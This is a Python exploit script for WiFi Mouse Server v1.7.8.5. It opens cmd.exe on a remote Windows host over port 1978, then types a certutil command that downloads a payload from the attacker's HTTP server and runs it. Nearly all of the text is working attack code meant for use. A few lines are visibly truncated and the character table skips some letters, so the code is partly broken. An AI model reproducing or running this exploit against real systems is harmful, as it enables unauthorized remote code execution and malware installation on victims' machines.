73 lines (60 sloc) | 2.55 KB

```
#!/usr/bin/python
# Exploit: WiFi Mouse Server v1.7.8.5 - Remote Code Execution
# Author: H4rk3nz0
# Vendor: http://necta.us/
# Software Download: http://wifimouse.necta.us/#download
# Tested on: Windows Enterprise Build 17763
# Software has password option which does absolutely nothing to prevent command input
# This is despite initial connection response being 'needpassword'

from socket import socket, AF_INET, SOCK_STREAM
from time import sleep
import sys
import string

target = socket(AF_INET, SOCK_STREAM)
port = 1978

try:
        rhost = sys.argv[1]
        lhost = sys.argv[2]
        payload = sys.argv[3]
except:
        print("USAGE: python " + sys.argv[0]+ " <target-ip> <local-http-server-ip> <payload-name>"
        exit()


characters={
        "A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a",
        "O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58",
```

```
        "a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a",
        "o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78",
        "1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",
        " ":"20","+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",
        ">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26",
        "(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",
        "\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}


def openCMD():
        target.sendto("6f70656e66696c65202f432f57696e646f77732f53797374656d33322f636d642e6578650a"

def SendString(string):
        for char in string:
                target.sendto(("7574663820" + characters[char] + "0a").decode("hex"),(rhost,port))
                sleep(0.03)

def SendReturn():
        target.sendto("6b657920203352544e".decode("hex"),(rhost,port)) # 'key 3RTN' shamlessly cop
        sleep(0.5)

def exploit():
        print("[+] 3..2..1..")
        sleep(2)
        openCMD()
        print("[+] *Super fast hacker typing*")
        sleep(1)
        SendString("certutil.exe -urlcache -f http://" + lhost + "/" + payload + " C:\\Windows\\Te
        SendReturn()
        print("[+] Retrieving payload")
        sleep(3)
        SendString("C:\\Windows\\Temp\\" + payload)
        SendReturn()
        print("[+] Done! Check Your Listener?")


def main():
        target.connect((rhost,port))
        exploit()
        target.close()
        exit()

if __name__=="__main__":
        main()
```